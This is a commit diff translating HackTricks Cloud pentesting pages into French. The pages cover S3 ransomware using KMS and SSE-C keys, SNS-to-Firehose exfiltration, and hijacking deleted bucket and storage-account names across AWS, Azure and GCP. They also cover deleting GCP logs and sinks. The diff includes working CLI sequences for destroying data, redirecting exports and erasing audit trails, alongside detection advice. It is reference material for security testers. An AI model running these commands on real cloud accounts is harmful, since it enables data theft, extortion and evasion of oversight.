mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src
This commit is contained in:
Translator
+57
-29
@@ -4,7 +4,7 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -16,33 +16,33 @@ Parfois, vous pourrez trouver des informations sensibles lisibles dans les bucke
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Un attaquant disposant de permissions d'écriture pourrait **modifier le code** depuis le bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
|
||||
Différentes plateformes peuvent utiliser S3 pour stocker des actifs sensibles.\
|
||||
Par exemple, **airflow** peut y stocker le **code** des **DAGs**, ou des **pages web** peuvent être servies directement depuis S3. Un attaquant avec des permissions d'écriture pourrait **modifier le code** du bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Dans ce scénario, l'**attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou dans un autre compte compromis. Il rend ensuite cette **clé accessible à n'importe qui dans le monde**, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets avec cette clé. Cependant, les objets ne peuvent pas être déchiffrés.
|
||||
Dans ce scénario, l'**attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou dans un autre compte compromis. Il rend ensuite cette **clé accessible à tout le monde dans le monde**, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets avec cette clé. Cependant, les objets ne peuvent pas être déchiffrés.
|
||||
|
||||
L'attaquant identifie un **S3 bucket** cible et obtient un accès en écriture dessus en utilisant diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket l'exposant publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement les buckets contenant des informations sensibles telles que PII, PHI, les logs, les backups, et plus encore.
|
||||
L'attaquant identifie un **bucket S3 cible et obtient un accès en écriture** à celui-ci en utilisant diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'obtention d'un accès à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des informations personnellement identifiables (PII), des informations de santé protégées (PHI), des logs, des sauvegardes, et plus encore.
|
||||
|
||||
Pour déterminer si le bucket peut être ciblé pour du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si la **multi-factor authentication delete (MFA delete)** est activée. Si Object Versioning n'est pas activé, l'attaquant peut procéder. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **désactiver Object Versioning**. Si à la fois Object Versioning et MFA delete sont activés, il devient plus difficile pour l'attaquant d'exécuter un ransomware sur ce bucket spécifique.
|
||||
Pour déterminer si le bucket peut être ciblé par un ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **multi-factor authentication delete (MFA delete)** est activé. Si Object Versioning n'est pas activé, l'attaquant peut continuer. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **désactiver Object Versioning**. Si Object Versioning et MFA delete sont tous deux activés, il devient plus difficile pour l'attaquant de faire un ransomware sur ce bucket spécifique.
|
||||
|
||||
En utilisant l'API AWS, l'attaquant **remplace chaque objet du bucket par une copie chiffrée utilisant sa clé KMS**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la clé.
|
||||
En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée en utilisant sa clé KMS**. Cela chiffre effectivement les données dans le bucket, les rendant inaccessibles sans la clé.
|
||||
|
||||
Pour exercer une pression supplémentaire, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé soit supprimée et que les données deviennent irrémédiablement perdues.
|
||||
Pour ajouter davantage de pression, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données deviennent définitivement perdues.
|
||||
|
||||
Enfin, l'attaquant peut uploader un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la manière de récupérer ses fichiers. Ce fichier est uploadé sans chiffrement, probablement pour attirer l'attention de la cible et l'informer de l'attaque de ransomware.
|
||||
Enfin, l'attaquant pourrait téléverser un fichier final, généralement nommé "ransom-note.txt," qui contient des instructions pour la cible sur la manière de récupérer ses fichiers. Ce fichier est téléversé sans chiffrement, probablement pour attirer l'attention de la cible et l'informer de l'attaque ransomware.
|
||||
|
||||
#### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
|
||||
|
||||
Une autre variante abuse de **SSE-C** (S3 server-side encryption with **customer-provided keys**). Avec SSE-C, le **client fournit la clé de chiffrement à chaque requête** et **AWS ne stocke pas la clé**. Cela signifie que si un attaquant réécrit des objets en utilisant **sa propre clé SSE-C**, les données de la victime deviennent illisibles à moins que la victime puisse fournir cette clé contrôlée par l'attaquant.
|
||||
Une autre variante consiste à abuser de **SSE-C** (S3 server-side encryption avec des **customer-provided keys**). Avec SSE-C, le **client fournit la clé de chiffrement à chaque requête** et **AWS ne stocke pas la clé**. Cela signifie que si un attaquant réécrit des objets en utilisant **sa propre clé SSE-C**, les données de la victime deviennent illisibles à moins que la victime puisse fournir cette clé contrôlée par l'attaquant.
|
||||
|
||||
- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) and the ability to **rewrite objects** (e.g., `s3:PutObject` on the target keys/prefixes). This is often paired with the ability to set destructive lifecycle policies (see below), e.g. `s3:PutLifecycleConfiguration`.
|
||||
- **Preconditions:** Identifiants AWS compromis (ou tout principal avec les permissions appropriées) et la capacité de **réécrire des objets** (par ex., `s3:PutObject` sur les clés/préfixes ciblés). Cela est souvent combiné avec la possibilité de définir des politiques de lifecycle destructrices (voir ci-dessous), par ex. `s3:PutLifecycleConfiguration`.
|
||||
- **Attack chain:**
|
||||
1. Attacker generates a random 256-bit key (AES-256) and keeps it.
|
||||
2. Attacker **rewrites** existing objects (same object keys) using SSE-C headers so the stored object is now encrypted with the attacker key.
|
||||
3. Victim cannot download/decrypt without providing the SSE-C key (even if IAM permissions are fine).
|
||||
4. Attacker can delete the key (or simply never provide it) to make data unrecoverable.
|
||||
1. L'attaquant génère une clé aléatoire de 256 bits (AES-256) et la conserve.
|
||||
2. L'attaquant **réécrit** les objets existants (mêmes clés d'objet) en utilisant des en-têtes SSE-C, de sorte que l'objet stocké soit désormais chiffré avec la clé de l'attaquant.
|
||||
3. La victime ne peut pas télécharger/déchiffrer sans fournir la clé SSE-C (même si les permissions IAM sont correctes).
|
||||
4. L'attaquant peut supprimer la clé (ou simplement ne jamais la fournir) pour rendre les données irrécupérables.
|
||||
|
||||
Example (conceptual) CLI usage:
|
||||
```bash
|
||||
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
|
||||
--sse-c AES256 \
|
||||
--sse-c-key <BASE64_32_BYTES>
|
||||
```
|
||||
##### Ajouter de la pression : abus du "timer" de cycle de vie
|
||||
##### Ajouter de la pression : abus du "timer" du lifecycle
|
||||
|
||||
Pour supprimer les options de récupération (comme les anciennes versions), un attaquant peut associer des réécritures SSE-C à des **règles de cycle de vie** qui expirent les objets et/ou suppriment les versions non actuelles après une courte période :
|
||||
Pour supprimer les options de récupération (comme les anciennes versions), les attackers peuvent combiner des réécritures SSE-C avec des **règles de lifecycle** qui expirent les objets et/ou suppriment les versions noncurrent après une courte période :
|
||||
|
||||
- `s3:PutLifecycleConfiguration` sur le bucket permet à un attaquant de programmer des suppressions sans émettre d'opérations delete explicites pour chaque objet/version.
|
||||
- Ceci est particulièrement impactant lorsque **la gestion des versions est activée**, car cela peut supprimer l'ancienne version valide qui permettrait autrement la récupération.
|
||||
- `s3:PutLifecycleConfiguration` sur le bucket permet à un attacker de planifier des suppressions sans lancer d’opérations de delete explicites pour chaque objet/version.
|
||||
- C’est particulièrement impactant lorsque **versioning est enabled**, car cela peut supprimer la "previous good version" qui permettrait sinon la recovery.
|
||||
|
||||
##### Détection & atténuations
|
||||
##### Detection & Mitigations
|
||||
|
||||
- Préférez **SSE-KMS** (ou SSE-S3) à SSE-C sauf si vous avez une raison opérationnelle solide d'autoriser SSE-C.
|
||||
- Surveillez/alertez les requêtes `PutObject` utilisant des en-têtes SSE-C (CloudTrail data events pour S3).
|
||||
- Surveillez/alertez les `PutBucketLifecycleConfiguration` inattendus (changements de lifecycle).
|
||||
- Surveillez/alertez les pics soudains d'activité d'écrasement (mêmes clés mises à jour rapidement) et les suppressions de delete-marker/version.
|
||||
- Restreindre les permissions à haut risque : limitez `s3:PutObject` aux préfixes nécessaires ; restreignez fortement `s3:PutLifecycleConfiguration` et `s3:PutBucketVersioning` ; envisagez d'exiger MFA pour les actions d'administration sensibles (lorsque applicable) et utilisez des rôles admin séparés avec approbations.
|
||||
- Posture de récupération : utilisez **versioning**, **backups**, et des copies immuables/hors ligne (S3 replication vers un compte protégé, backup vaults, etc.) ; protégez les versions non actuelles contre les suppressions agressives et protégez les changements de lifecycle avec des SCPs / guardrails.
|
||||
- Préférez **SSE-KMS** (ou SSE-S3) à SSE-C, sauf si vous avez une forte raison opérationnelle d’autoriser SSE-C.
|
||||
- Surveillez/alertez sur les requêtes `PutObject` utilisant des headers SSE-C (CloudTrail data events pour S3).
|
||||
- Surveillez/alertez sur des `PutBucketLifecycleConfiguration` inattendus (changements de lifecycle).
|
||||
- Surveillez/alertez sur des pics soudains d’activité d’overwrite (les mêmes keys mises à jour rapidement) et sur les suppressions de delete-marker/version.
|
||||
- Restreignez les permissions à haut risque : limitez `s3:PutObject` aux prefixes nécessaires ; restreignez fortement `s3:PutLifecycleConfiguration` et `s3:PutBucketVersioning` ; envisagez d’exiger MFA pour les actions d’administration sensibles (lorsque applicable) et d’utiliser des rôles admin séparés avec approbations.
|
||||
- Posture de recovery : utilisez **versioning**, **backups**, et des copies immuables/hors ligne (réplication S3 vers un compte protégé, backup vaults, etc.) ; protégez les versions noncurrent contre les suppressions agressives et protégez les changements de lifecycle avec des SCPs / guardrails.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Un attaquant disposant de la permission `s3:RestoreObject` peut réactiver des objets archivés dans Glacier ou Deep Archive, les rendant temporairement accessibles. Cela permet la récupération et l'exfiltration de données archivées historiquement (sauvegardes, snapshots, logs, certifications, anciens secrets) qui seraient normalement hors de portée. Si l'attaquant combine cette permission avec des permissions de lecture (par ex., `s3:GetObject`), il peut obtenir des copies complètes de données sensibles.
|
||||
Un attacker disposant de la permission s3:RestoreObject peut réactiver des objets archivés dans Glacier ou Deep Archive, les rendant temporairement accessibles. Cela permet la recovery et l’exfiltration de données historiquement archivées (backups, snapshots, logs, certifications, anciens secrets) qui seraient normalement hors de portée. Si l’attacker combine cette permission avec des permissions de lecture (par ex. s3:GetObject), il peut obtenir des copies complètes de données sensibles.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
@@ -86,7 +86,7 @@ aws s3api restore-object \
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Un attaquant disposant de la permission s3:Delete* peut supprimer des objets, des versions et des buckets entiers, perturber les sauvegardes et provoquer une perte de données immédiate et irréversible, la destruction de preuves et la compromission d'artefacts de sauvegarde ou de récupération.
|
||||
Un attaquant avec la permission `s3:Delete*` peut supprimer des objets, des versions et des buckets entiers, perturber les backups, et provoquer une perte de données immédiate et irréversible, la destruction de preuves, et la compromission des artefacts de backup ou de recovery.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
@@ -103,6 +103,34 @@ aws s3api delete-object \
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Pour plus d'informations** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### Prise de contrôle globale du nom de bucket des writers autonomes - `s3:DeleteBucket`
|
||||
|
||||
Les noms de bucket S3 sont globalement uniques. Si un compte victime a des writers automatisés qui continuent de livrer des données vers `arn:aws:s3:::<bucket-name>` et qu’un attaquant peut vider/supprimer ce bucket, l’attaquant peut recréer le même nom de bucket dans un compte contrôlé par l’attaquant et recevoir les futures livraisons sans modifier la configuration du service en amont.
|
||||
|
||||
Les bonnes cibles à examiner incluent les destinations de réplication S3, les delivery streams Kinesis Data Firehose, les chaînes de livraison CloudWatch Logs/SNS/WAF qui atterrissent dans S3, ainsi que les jobs de backup ou d’export personnalisés.
|
||||
```bash
|
||||
# Review S3 replication destinations on source buckets
|
||||
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
|
||||
|
||||
# Review Firehose S3 destinations
|
||||
aws firehose describe-delivery-stream \
|
||||
--delivery-stream-name <DELIVERY_STREAM_NAME>
|
||||
|
||||
# Empty and delete the target bucket, if permitted
|
||||
aws s3 rm s3://<BUCKET_NAME> --recursive
|
||||
aws s3api delete-bucket --bucket <BUCKET_NAME>
|
||||
|
||||
# Recreate the same globally-unique name in the attacker account
|
||||
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
|
||||
```
|
||||
La politique de bucket de remplacement doit autoriser l’upstream writer à placer des objets. Le principal exact dépend du service : par exemple un IAM replication role, un Firehose delivery role, ou un service principal contraint avec `aws:SourceArn` / `aws:SourceAccount`.
|
||||
|
||||
**Impact potentiel :** exfiltration silencieuse de futurs objets répliqués, logs, telemetry, backups, et pipeline artifacts vers un compte AWS contrôlé par un attaquant.
|
||||
|
||||
**Detection & Mitigation :** alerter sur la suppression des buckets référencés par des replication rules ou des delivery streams, surveiller les échecs de livraison `NoSuchBucket` suivis d’une recréation du bucket, restreindre `s3:DeleteBucket` sur les export destinations, et verrouiller les livraisons cross-account avec des bucket policies strictes et des attentes d’ownership.
|
||||
|
||||
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+23
-9
@@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusez le protocole de subscription Firehose pour enregistrer un Kinesis Data Firehose delivery stream contrôlé par un attacker sur un topic SNS standard victim. Une fois la subscription en place et que le rôle IAM requis fait confiance à `sns.amazonaws.com`, chaque notification future est durablement écrite dans le S3 bucket de l'attacker avec un minimum de bruit.
|
||||
Abuse the protocole d'abonnement Firehose pour enregistrer un flux de livraison Kinesis Data Firehose contrôlé par l'attaquant sur un topic SNS standard de la victime. Une fois l'abonnement en place et le rôle IAM requis faisant confiance à `sns.amazonaws.com`, chaque future notification est écrite de façon durable dans le bucket S3 de l'attaquant avec un bruit minimal.
|
||||
|
||||
## Exigences
|
||||
- Permissions dans le compte de l'attacker pour créer un S3 bucket, un Firehose delivery stream, et le rôle IAM utilisé par Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
|
||||
- La capacité de `sns:Subscribe` au topic victim (et optionnellement `sns:SetSubscriptionAttributes` si l'ARN du rôle de subscription est fourni après la création).
|
||||
- Une topic policy qui permet au principal attacker de s'abonner (ou l'attacker opère déjà dans le même compte).
|
||||
## Requirements
|
||||
- Permissions dans le compte de l'attaquant pour créer un bucket S3, un flux de livraison Firehose, et le rôle IAM utilisé par Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
|
||||
- La capacité de `sns:Subscribe` au topic de la victime (et éventuellement `sns:SetSubscriptionAttributes` si l'ARN du rôle d'abonnement est fourni après la création).
|
||||
- Une policy de topic qui autorise le principal attaquant à s'abonner (ou l'attaquant opère déjà dans le même compte).
|
||||
|
||||
## Étapes de l'attaque (exemple dans le même compte)
|
||||
## Attack Steps (same-account example)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Nettoyage
|
||||
- Supprimer la subscription SNS, le Firehose delivery stream, les rôles/policies IAM temporaires et le bucket S3 de l'attaquant.
|
||||
## Cleanup
|
||||
- Supprimer la subscription SNS, le Firehose delivery stream, les temporary IAM roles/policies, et le bucket S3 de l'attaquant.
|
||||
|
||||
## Impact
|
||||
**Impact potentiel** : Exfiltration continue et durable de chaque message publié sur le topic SNS ciblé vers un stockage contrôlé par l'attaquant avec une empreinte opérationnelle minimale.
|
||||
**Potential Impact**: Exfiltration continue et durable de chaque message publié vers le targeted SNS topic dans un stockage contrôlé par l'attaquant, avec un impact opérationnel minimal.
|
||||
|
||||
## Related Bucket-Name Hijack Variant
|
||||
|
||||
Si une chaîne SNS -> Firehose -> S3 existante écrit déjà vers un bucket et que l'attaquant peut supprimer ce bucket, il peut être possible de recréer le même nom de bucket S3 globalement unique dans un compte contrôlé par l'attaquant. Les futures livraisons Firehose peuvent alors atterrir dans le bucket de remplacement sans modifier la SNS subscription ni la configuration du Firehose stream.
|
||||
```bash
|
||||
# Identify the Firehose S3 destination
|
||||
aws firehose describe-delivery-stream \
|
||||
--delivery-stream-name <DELIVERY_STREAM_NAME> \
|
||||
--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
|
||||
|
||||
# After deleting the original bucket, recreate the same name in the attacker account
|
||||
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
|
||||
```
|
||||
Accordez au rôle de livraison Firehose l’accès au bucket de remplacement si le rôle peut écrire en cross-account. Surveillez la suppression de bucket sur les destinations Firehose, les échecs de livraison et les changements inattendus de propriété de bucket.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-4
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
## Privesc Storage
|
||||
|
||||
Pour plus d'informations sur le stockage, consultez :
|
||||
|
||||
@@ -12,7 +12,7 @@ Pour plus d'informations sur le stockage, consultez :
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
|
||||
|
||||
Un principal avec cette permission pourra **lister** les blobs (fichiers) à l'intérieur d'un conteneur et **télécharger** les fichiers qui pourraient contenir des **informations sensibles**.
|
||||
Un principal disposant de cette permission pourra **lister** les blobs (fichiers) dans un container et **télécharger** les fichiers, qui peuvent contenir des **informations sensibles**.
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
@@ -26,7 +26,7 @@ az storage blob download \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
|
||||
|
||||
Un principal avec cette permission pourra **écrire et écraser des fichiers dans des conteneurs**, ce qui pourrait lui permettre de causer des dommages ou même d'escalader des privilèges (par exemple, écraser du code stocké dans un blob) :
|
||||
Un principal avec cette permission pourra **écrire et écraser des fichiers dans des containers**, ce qui pourrait lui permettre de causer des dégâts ou même d’escalader des privilèges (par exemple, écraser du code stocké dans un blob) :
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
@@ -36,6 +36,35 @@ az storage blob upload \
|
||||
```
|
||||
### \*/delete
|
||||
|
||||
Cela permettrait de supprimer des objets à l'intérieur du compte de stockage, ce qui pourrait **interrompre certains services** ou faire perdre au client **des informations précieuses**.
|
||||
Cela permettrait de supprimer des objets à l’intérieur du storage account, ce qui pourrait **interrompre certains services** ou faire **perdre des informations précieuses** au client.
|
||||
|
||||
### Prise de contrôle du nom du storage account pour les exports de diagnostic
|
||||
|
||||
Les noms de Azure Storage account sont globalement uniques. Certains exports autonomes, comme les paramètres de diagnostic d’Azure Monitor, continuent d’écrire des logs ou des métriques dans un storage account configuré. Si un attaquant peut supprimer ce storage account et recréer le même nom dans un subscription contrôlé par l’attaquant au sein du même tenant, les futures télémétries exportées peuvent être envoyées au compte de remplacement sans modifier le paramètre de diagnostic.
|
||||
|
||||
C’est particulièrement intéressant lorsque l’attaquant dispose de permissions destructrices comme `Microsoft.Storage/storageAccounts/delete`, mais ne peut pas mettre à jour la ressource surveillée ni ses paramètres de diagnostic.
|
||||
|
||||
Cela nécessite que le nom du storage account soit libéré pour être réutilisé. En pratique, les protections de soft delete / recovery de Azure storage account peuvent retarder ou empêcher la réutilisation immédiate, en particulier entre tenants.
|
||||
```bash
|
||||
# Find diagnostic settings that write to a storage account
|
||||
az monitor diagnostic-settings list \
|
||||
--resource <RESOURCE_ID> \
|
||||
--query '[].{name:name,storageAccountId:storageAccountId}'
|
||||
|
||||
# Delete the storage account, if permitted
|
||||
az storage account delete \
|
||||
--name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
# Recreate the same globally-unique storage account name
|
||||
az storage account create \
|
||||
--name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <ATTACKER_RESOURCE_GROUP> \
|
||||
--location <LOCATION> \
|
||||
--sku Standard_LRS
|
||||
```
|
||||
**Impact potentiel :** exfiltration à long terme des futurs logs, metrics, audit data et diagnostic archives vers un subscription contrôlé par l'attaquant.
|
||||
|
||||
**Détection et mitigation :** alerter lors de la suppression de storage accounts référencés par des diagnostic settings, inventorier les diagnostic settings avec `storageAccountId`, surveiller les destinations orphelines, et restreindre strictement les permissions destructives sur les storage accounts de logging/archive.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+44
-16
@@ -1,34 +1,34 @@
|
||||
# GCP - Post-exploitation des logs
|
||||
# GCP - Logging Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Pour d'autres façons de perturber la surveillance, voir :
|
||||
Pour d'autres façons de perturber la surveillance, consultez :
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Journalisation par défaut
|
||||
### Default Logging
|
||||
|
||||
**Par défaut vous ne serez pas repéré simplement pour avoir effectué des actions en lecture. Pour plus d'informations, voir la section Logging Enum.**
|
||||
**Par défaut, vous ne serez pas repéré simplement pour effectuer des actions de lecture. Pour plus d'infos, consultez la section Logging Enum.**
|
||||
|
||||
### Ajouter un principal exclu
|
||||
### Add Excepted Principal
|
||||
|
||||
Dans [https://console.cloud.google.com/iam-admin/audit/allservices] et [https://console.cloud.google.com/iam-admin/audit] il est possible d'ajouter des principals pour ne pas générer de logs. Un attaquant pourrait abuser de cela pour éviter d'être détecté.
|
||||
Dans [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) et [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit), il est possible d'ajouter des principals pour ne pas générer de logs. Un attaquant pourrait abuser de cela pour éviter d'être repéré.
|
||||
|
||||
### Lire les logs - `logging.logEntries.list`
|
||||
### Read logs - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lire les entrées de logs</summary>
|
||||
<summary>Read log entries</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -44,7 +44,7 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer des entrées de logs</summary>
|
||||
<summary>Supprimer des entrées de log</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
@@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location=<location> --description="New
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer un bucket de logs</summary>
|
||||
<summary>Supprimer le bucket de logs</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer le log link</summary>
|
||||
<summary>Supprimer le lien de journal</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour la logging view pour masquer les données</summary>
|
||||
<summary>Mettre à jour la vue de logging pour masquer des données</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour les métriques basées sur les logs</summary>
|
||||
<summary>Mettre à jour les log-based metrics</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer log sink</summary>
|
||||
<summary>Supprimer le sink de logs</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
### Détournement du bucket de destination d’un Cloud Logging sink - `storage.buckets.delete`
|
||||
|
||||
Les Cloud Logging sinks peuvent exporter en continu les logs vers une destination Cloud Storage telle que `storage.googleapis.com/<bucket-name>` ou `storage.googleapis.com/<bucket-name>/<prefix>`. Si un attaquant peut supprimer le bucket de destination, mais ne peut pas mettre à jour le sink, il peut malgré tout rediriger les futurs logs exportés en recréant le même nom de bucket globalement unique dans un projet contrôlé par l’attaquant.
|
||||
|
||||
C’est utile lorsque le principal compromis dispose d’autorisations de stockage destructrices telles que `storage.buckets.delete`, `storage.objects.delete`, et `storage.objects.list`, mais n’a pas `logging.sinks.update`.
|
||||
```bash
|
||||
# Find sinks that export to Cloud Storage
|
||||
gcloud logging sinks list --project <PROJECT_ID> \
|
||||
--format='table(name,destination,disabled,writerIdentity)'
|
||||
|
||||
# Empty and delete the destination bucket, if permitted
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
|
||||
# Recreate the same bucket name in the attacker-controlled project
|
||||
gcloud storage buckets create gs://<BUCKET_NAME> \
|
||||
--project <ATTACKER_PROJECT_ID> \
|
||||
--location <LOCATION>
|
||||
|
||||
# Allow the sink writer identity to write objects into the replacement bucket
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
|
||||
--role='roles/storage.objectCreator' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
```
|
||||
**Impact potentiel :** exfiltration silencieuse à long terme des futurs journaux d’audit, journaux d’application, télémétrie de sécurité, et tout autre événement correspondant au filtre du sink.
|
||||
|
||||
**Détection & Mitigation :** alerter sur la suppression des buckets référencés par des sinks actifs, inventorier les destinations des sinks pour repérer les noms de buckets orphelins, restreindre `storage.buckets.delete` sur les destinations de journaux, et protéger les buckets d’export avec des contrôles de rétention/de hold lorsque c’est possible.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+53
-20
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pour plus d'informations sur Pub/Sub, consultez la page suivante:
|
||||
Pour plus d'informations sur Pub/Sub, consultez la page suivante :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -16,7 +16,7 @@ Publier un message dans un topic, utile pour **envoyer des données inattendues*
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Publier un message dans un topic</summary>
|
||||
<summary>Publier un message vers le topic</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Utile pour empêcher une subscription de recevoir des messages, éventuellement pour éviter la détection.\
|
||||
Il est possible de supprimer un topic même avec des subscriptions attachées.
|
||||
Utile pour empêcher une subscription de recevoir des messages, peut-être pour éviter la détection.\
|
||||
Il est possible de supprimer un topic même avec des subscriptions attachées à celui-ci.
|
||||
|
||||
<details>
|
